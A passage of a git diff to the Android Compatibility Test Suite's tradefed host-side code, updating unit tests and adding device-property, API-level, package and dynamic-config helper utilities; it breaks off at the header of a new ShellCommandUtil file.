+ final String moduleName = "module_incomplete_rerun";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -426,7 +429,7 @@
*/
@Test
public void testSingleModuleRun_incomplete_rerun_complete() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_incom_rerun_complete";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -550,8 +553,8 @@
*/
@Test
public void testSingleModuleRun_sharded() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -559,8 +562,7 @@
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
String.format("%s,%s", abi1, abi2));
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
- + AbiUtils.createId(abi2, moduleName)));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -601,8 +603,8 @@
*/
@Test
public void testSingleModuleRun_sharded_incomplete() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded_incomplete";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -610,8 +612,7 @@
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
String.format("%s,%s", abi1, abi2));
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
- + AbiUtils.createId(abi2, moduleName)));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -653,8 +654,8 @@
*/
@Test
public void testSingleModuleRun_sharded_getTestShard() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded_getTestShard";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -665,7 +666,7 @@
String expectedAdd = AbiUtils.createId(abi1, moduleName) + ","
+ AbiUtils.createId(abi2, moduleName);
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(expectedAdd));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
mAttributes.put(CompatibilityBuildHelper.MODULE_IDS, expectedAdd);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index ee28e64..297ccfc 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -19,7 +19,7 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import com.android.compatibility.SuiteInfo;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AaptParser;
import com.android.tradefed.util.AbiUtils;
@@ -97,10 +97,25 @@
for (File testApk : listApks) {
AaptParser result = AaptParser.parse(testApk);
+ // Retry as we have seen flake with aapt sometimes.
+ if (result == null) {
+ for (int i = 0; i < 2; i++) {
+ result = AaptParser.parse(testApk);
+ if (result != null) {
+ break;
+ }
+ }
+ // If still couldn't parse the apk
+ if (result == null) {
+ fail(String.format("Fail to run 'aapt dump badging %s'",
+ testApk.getAbsolutePath()));
+ }
+ }
// We only check the apk that have native code
if (!result.getNativeCode().isEmpty()) {
List<String> supportedAbiApk = result.getNativeCode();
- Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ Set<String> buildTarget = AbiUtils.getAbisForArch(
+ TestSuiteInfo.getInstance().getTargetArch());
// first check, all the abis are supported
for (String abi : supportedAbiApk) {
if (!buildTarget.contains(abi)) {
@@ -160,7 +175,8 @@
// we sort to have binary starting with same name, next to each other. The last two
// characters of their name with be the bitness (32 or 64).
Collections.sort(orderedList);
- Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ Set<String> buildTarget = AbiUtils.getAbisForArch(
+ TestSuiteInfo.getInstance().getTargetArch());
// We expect one binary per abi of CTS, they should be appended with 32 or 64
for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
List<String> subSet = orderedList.subList(i, i + buildTarget.size());
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
index 2724df6..66d05fc 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
@@ -19,6 +19,7 @@
import com.android.ddmlib.IDevice;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.CollectingTestListener;
@@ -33,12 +34,11 @@
import junit.framework.TestCase;
import org.easymock.EasyMock;
-
+import org.junit.Test;
import org.junit.runner.JUnitCore;
import org.junit.runner.Request;
-import org.junit.runner.Runner;
import org.junit.runner.RunWith;
-import org.junit.Test;
+import org.junit.runner.Runner;
import java.util.Collections;
@@ -57,13 +57,27 @@
runDeviceTests(DEVICE_TEST_PKG, null, null);
}
+ @Override
+ protected CollectingTestListener createCollectingListener() {
+ return new CollectingTestListener() {
+ @Override
+ public TestRunResult getCurrentRunResults() {
+ TestRunResult result = new TestRunResult();
+ TestIdentifier t1 = new TestIdentifier("class1", "test1");
+ result.testStarted(t1);
+ result.testEnded(t1, Collections.emptyMap());
+ return result;
+ }
+ };
+ }
+
}
public void testRunMockDeviceTests() throws Exception {
final TestIdentifier testRunDeviceTests =
new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
- ITestInvocationListener listener = EasyMock.createMock(ITestInvocationListener.class);
+ ITestInvocationListener listener = EasyMock.createStrictMock(ITestInvocationListener.class);
ITestDevice device = EasyMock.createMock(ITestDevice.class);
listener.testStarted(testRunDeviceTests);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
index 01557e3..d67619a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -15,14 +15,20 @@
*/
package com.android.compatibility.common.tradefed.testtype.retry;
+import static org.junit.Assert.*;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
+import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.StubTest;
import org.easymock.EasyMock;
import org.junit.Before;
@@ -30,6 +36,11 @@
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.LinkedHashMap;
+import java.util.List;
+
/**
* Unit tests for {@link RetryFactoryTest}.
*/
@@ -44,11 +55,19 @@
* A {@link CompatibilityTest} that does not run anything.
*/
@OptionClass(alias = "compatibility")
- public static class VoidCompatibilityTest extends CompatibilityTest {
+ public static class VoidCompatibilityTest extends CompatibilityTestSuite {
@Override
- public void run(ITestInvocationListener listener)
- throws DeviceNotAvailableException {
- // Do not run.
+ public LinkedHashMap<String, IConfiguration> loadTests() {
+ return new LinkedHashMap<>();
+ }
+
+ @Override
+ public Collection<IRemoteTest> split(int shardCountHint) {
+ List<IRemoteTest> tests = new ArrayList<>();
+ for (int i = 0; i < shardCountHint; i++) {
+ tests.add(new StubTest());
+ }
+ return tests;
}
}
@@ -75,7 +94,7 @@
return mSpyFilter;
}
@Override
- CompatibilityTest createTest() {
+ CompatibilityTestSuite createTest() {
return new VoidCompatibilityTest();
}
};
@@ -93,4 +112,16 @@
mFactory.run(mMockListener);
EasyMock.verify(mMockListener);
}
+
+ /**
+ * Assert that the {@link RetryFactoryTest#split(int)} calls the
+ * {@link CompatibilityTestSuite#split(int)} after applying all the filters.
+ */
+ @Test
+ public void testRetry_split() throws Exception {
+ EasyMock.replay(mMockListener);
+ Collection<IRemoteTest> res = mFactory.split(2);
+ assertEquals(2, res.size());
+ EasyMock.verify(mMockListener);
+ }
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
new file mode 100644
index 0000000..a75abfd
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import static org.junit.Assert.*;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.BuildInfo;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.util.FileUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Unit tests for {@link DynamicConfigFileReader}.
+ */
+@RunWith(JUnit4.class)
+public class DynamicConfigFileReaderTest {
+
+ private static final String MODULE_NAME = "cts";
+ private IBuildInfo mBuildInfo;
+ private File mConfigFile;
+
+ @Before
+ public void setUp() throws Exception {
+ mConfigFile = FileUtil.createTempFile("temp-dynamic-config", ".xml");
+ mBuildInfo = new BuildInfo();
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuildInfo);
+ helper.addDynamicConfigFile(MODULE_NAME, mConfigFile);
+ }
+
+ @After
+ public void tearDown() {
+ FileUtil.deleteFile(mConfigFile);
+ mBuildInfo.cleanUp();
+ }
+
+ private void writeDynamicConfigFile() throws IOException {
+ String content = "<dynamicConfig>\n" +
+ " <entry key=\"media_files_url\">\n" +
+ " <value>some value</value>\n" +
+ " </entry>\n" +
+ "</dynamicConfig>";
+ FileUtil.writeToFile(content, mConfigFile);
+ }
+
+ /**
+ * Test when the dynamic file is completely invalid.
+ */
+ @Test
+ public void testGetValueFromFile_invalidFile() throws Exception {
+ try {
+ DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+ fail("Should have thrown an exception.");
+ } catch (XmlPullParserException expected) {
+ // expected
+ }
+ }
+
+ /**
+ * Test when requesting a key not part of the dynamic file.
+ */
+ @Test
+ public void testGetValueFromFile_keyNotFound() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+ assertNull(res);
+ }
+
+ /**
+ * Test when getting the value associated with the key.
+ */
+ @Test
+ public void testGetValueFromFile() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "media_files_url");
+ assertEquals("some value", res);
+ }
+
+ /**
+ * Test when getting the value using directly the build info and module name.
+ */
+ @Test
+ public void testGetValueFromBuild() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(
+ mBuildInfo, MODULE_NAME, "media_files_url");
+ assertEquals("some value", res);
+ }
+
+ /**
+ * Test when trying to get a value from an unknown module.
+ */
+ @Test
+ public void testGetValueFromBuild_moduleNotFound() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(
+ mBuildInfo, "NOT_A_MODULE", "media_files_url");
+ assertNull(res);
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 38158b4..19f54da 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import java.lang.reflect.Field;
+
/**
* Device-side compatibility utility class for reading device API level.
*/
@@ -30,21 +32,41 @@
return device.getApiLevel() < version;
}
+ public static boolean isBefore(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() < resolveVersionString(version);
+ }
+
public static boolean isAfter(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() > version;
}
+ public static boolean isAfter(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() > resolveVersionString(version);
+ }
+
public static boolean isAtLeast(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() >= version;
}
+ public static boolean isAtLeast(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() >= resolveVersionString(version);
+ }
+
public static boolean isAtMost(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() <= version;
}
+ public static boolean isAtMost(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() <= resolveVersionString(version);
+ }
+
public static int getApiLevel(ITestDevice device) throws DeviceNotAvailableException {
return device.getApiLevel();
}
@@ -63,4 +85,19 @@
throws DeviceNotAvailableException {
return device.getProperty(CODENAME);
}
+
+ protected static int resolveVersionString(String versionString) {
+ try {
+ return Integer.parseInt(versionString); // e.g. "24" for M
+ } catch (NumberFormatException e1) {
+ try {
+ Field versionField = VersionCodes.class.getField(
+ versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e2) {
+ throw new RuntimeException(
+ String.format("Failed to parse version string %s", versionString), e2);
+ }
+ }
+ }
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
new file mode 100644
index 0000000..43bdea1
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for host side test cases
+ */
+public class BusinessLogicHostExecutor extends BusinessLogicExecutor {
+
+ private ITestDevice mDevice;
+ private IBuildInfo mBuild;
+ private Object mTestObj;
+
+ public BusinessLogicHostExecutor(ITestDevice device, IBuildInfo build, Object testObj) {
+ mDevice = device;
+ mBuild = build;
+ mTestObj = testObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected Object getTestObject() {
+ return mTestObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+ throws ClassNotFoundException {
+ List<Method> nameMatches = getMethodsWithName(cls, methodName);
+ for (Method m : nameMatches) {
+ ResolvedMethod rm = new ResolvedMethod(m);
+ int paramTypesMatched = 0;
+ int argsUsed = 0;
+ Class[] paramTypes = m.getParameterTypes();
+ for (Class paramType : paramTypes) {
+ if (argsUsed == args.length && paramType.equals(String.class)) {
+ // We've used up all supplied string args, so this method will not match.
+ // If paramType is the ITestDevice or IBuildInfo class, we can match a
+ // paramType without needing more string args. similarly, paramType "String[]"
+ // can be matched with zero string args. If we add support for more paramTypes,
+ // this logic may require adjustment.
+ break;
+ }
+ if (paramType.equals(String.class)) {
+ // Type "String" -- supply the next available arg
+ rm.addArg(args[argsUsed++]);
+ } else if (ITestDevice.class.isAssignableFrom(paramType)) {
+ rm.addArg(mDevice);
+ } else if (IBuildInfo.class.isAssignableFrom(paramType)) {
+ rm.addArg(mBuild);
+ } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+ // Type "String[]" (or "String...") -- supply all remaining args
+ rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+ argsUsed += (args.length - argsUsed);
+ } else {
+ break; // Param type is unrecognized, this method will not match.
+ }
+ paramTypesMatched++; // A param type has been matched when reaching this point.
+ }
+ if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+ return rm; // Args match, methods match, so return the first method-args pairing.
+ }
+ // Not a match, try args for next method that matches by name.
+ }
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+ Arrays.toString(args)));
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..5f7fae2
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for reading properties and gathering information for testing
+ * Android device compatibility.
+ */
+public class CpuFeatures {
+
+ /**
+ * Return true if architecture is arm64.
+ */
+ public static boolean isArm64(ITestDevice device) throws DeviceNotAvailableException {
+
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ device.executeShellCommand("uname -m", Out);
+ String arch = Out.getOutput().trim();
+ return arch.contains("aarch64");
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
index 8df1ebc..58840fd 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
@@ -37,7 +37,7 @@
public class DynamicConfigHandler {
- private final static String MERGED_CONFIG_FILE_FOLDER = "dynamic-config-files-merged";
+ private final static String FILE_EXT = ".dynamic";
private static final String NS = null; //xml constant representing null namespace
private static final String ENCODING = "UTF-8";
@@ -76,8 +76,7 @@
private static File storeMergedConfigFile(Map<String, List<String>> configMap,
String moduleName) throws XmlPullParserException, IOException {
- File folder = FileUtil.createTempDir(MERGED_CONFIG_FILE_FOLDER);
- File mergedConfigFile = new File(folder, moduleName + ".dynamic");
+ File mergedConfigFile = FileUtil.createTempFile(moduleName, FILE_EXT);
OutputStream stream = new FileOutputStream(mergedConfigFile);
XmlSerializer serializer = XmlPullParserFactory.newInstance().newSerializer();
serializer.setOutput(stream, ENCODING);
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
index fd823bf..29e7bfb 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
@@ -17,6 +17,7 @@
package com.android.compatibility.common.util;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.VersionedFile;
import org.xmlpull.v1.XmlPullParserException;
@@ -26,8 +27,10 @@
import java.util.Map;
/**
- * Load dynamic config for device side test cases
+ * Utility to get value from a dynamic config file.
+ * @deprecated use DynamicConfigFileReader instead.
*/
+@Deprecated
public class DynamicConfigHostSide {
public static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
@@ -58,11 +61,14 @@
* @param info the invocation {@link IBuildInfo}
* @param moduleName the name of the module of the file.
* @return a {@link File} created from the downloaded file.
+ * @deprecated use CompatibilityBuildHelper#getDynamicConfigFiles
*/
+ @Deprecated
public static File getDynamicConfigFile(IBuildInfo info, String moduleName) {
- String path = info.getBuildAttributes().get(CONFIG_PATH_PREFIX + moduleName);
- if (path!= null && !path.isEmpty()) {
- return new File(path);
+ for (VersionedFile vFile : info.getFiles()) {
+ if (vFile.getVersion().equals(CONFIG_PATH_PREFIX + moduleName)) {
+ return vFile.getFile();
+ }
}
return null;
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index 1d60ec6..87d257a 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -83,6 +83,15 @@
return hasSystemFeature(device, WATCH_FEATURE);
}
+ /** Returns true if the device is a low ram device:
+ * 1. API level >= O
+ * 2. device has feature LOW_RAM_FEATURE
+ */
+ public static boolean isLowRam(ITestDevice device) throws DeviceNotAvailableException {
+ return ApiLevelUtil.isAtLeast(device, VersionCodes.O) &&
+ hasSystemFeature(device, LOW_RAM_FEATURE);
+ }
+
/** Returns true if the device has feature TELEPHONY_FEATURE */
public static boolean hasTelephony(ITestDevice device) throws DeviceNotAvailableException {
return hasSystemFeature(device, TELEPHONY_FEATURE);
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
index 3b7f6c8..1fa149f 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
@@ -55,6 +55,7 @@
@Override
public void close() throws IOException {
mJsonWriter.endObject();
+ mJsonWriter.flush();
mJsonWriter.close();
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..b4d7cb7
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+ /** Returns true if a package with the given name exists on the device */
+ public static boolean exists(ITestDevice device, String packageName)
+ throws DeviceNotAvailableException {
+ return device.getInstalledPackageNames().contains(packageName);
+ }
+
+ /** Returns true if the app for the given package name is a system app for this device */
+ public static boolean isSystemApp(ITestDevice device, String packageName)
+ throws DeviceNotAvailableException {
+ return device.getAppPackageInfo(packageName).isSystemApp();
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 2cdcc23..08d852f 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -18,6 +18,11 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
/**
* Host-side utility class for reading properties and gathering information for testing
* Android device compatibility.
@@ -29,6 +34,18 @@
* shipped. Property should be undefined for factory ROM products.
*/
public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+ private static final String BUILD_TAGS_PROPERTY = "ro.build.tags";
+ private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+ private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+ private static final String TAG_DEV_KEYS = "dev-keys";
+
+ public static final String GOOGLE_SETTINGS_QUERY =
+ "content query --uri content://com.google.settings/partner";
+
+ /** Returns whether the device build is a user build */
+ public static boolean isUserBuild(ITestDevice device) throws DeviceNotAvailableException {
+ return propertyEquals(device, BUILD_TYPE_PROPERTY, "user");
+ }
/** Returns whether the device build is the factory ROM */
public static boolean isFactoryROM(ITestDevice device) throws DeviceNotAvailableException {
@@ -36,6 +53,17 @@
return device.getProperty(FIRST_API_LEVEL) == null;
}
+ /** Returns whether this build is built with dev-keys */
+ public static boolean isDevKeysBuild(ITestDevice device) throws DeviceNotAvailableException {
+ String buildTags = device.getProperty(BUILD_TAGS_PROPERTY);
+ for (String tag : buildTags.split(",")) {
+ if (TAG_DEV_KEYS.equals(tag.trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/**
* Return the first API level for this product. If the read-only property is unset,
* this means the first API level is the current API level, and the current API level
@@ -45,4 +73,46 @@
String propString = device.getProperty(FIRST_API_LEVEL);
return (propString == null) ? device.getApiLevel() : Integer.parseInt(propString);
}
+
+ /**
+ * Return the manufacturer of this product. If unset, return null.
+ */
+ public static String getManufacturer(ITestDevice device) throws DeviceNotAvailableException {
+ return device.getProperty(MANUFACTURER_PROPERTY);
+ }
+
+ /** Returns a mapping from client ID names to client ID values */
+ public static Map<String, String> getClientIds(ITestDevice device)
+ throws DeviceNotAvailableException {
+ Map<String,String> clientIds = new HashMap<>();
+ String queryOutput = device.executeShellCommand(GOOGLE_SETTINGS_QUERY);
+ for (String line : queryOutput.split("[\\r?\\n]+")) {
+ // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+ Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ String name = matcher.group(1);
+ String value = matcher.group(2);
+ if (name.contains("client_id")) {
+ clientIds.put(name, value); // only add name-value pair for client ids
+ }
+ }
+ }
+ return clientIds;
+ }
+
+ /** Returns whether the property exists on this device */
+ public static boolean propertyExists(ITestDevice device, String property)
+ throws DeviceNotAvailableException {
+ return device.getProperty(property) != null;
+ }
+
+ /** Returns whether the property value is equal to a given string */
+ public static boolean propertyEquals(ITestDevice device, String property, String value)
+ throws DeviceNotAvailableException {
+ if (value == null) {
+ return !propertyExists(device, property); // null value implies property does not exist
+ }
+ return value.equals(device.getProperty(property));
+ }
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
new file mode 100644
index 0000000..a62a9f5
--- /dev/null
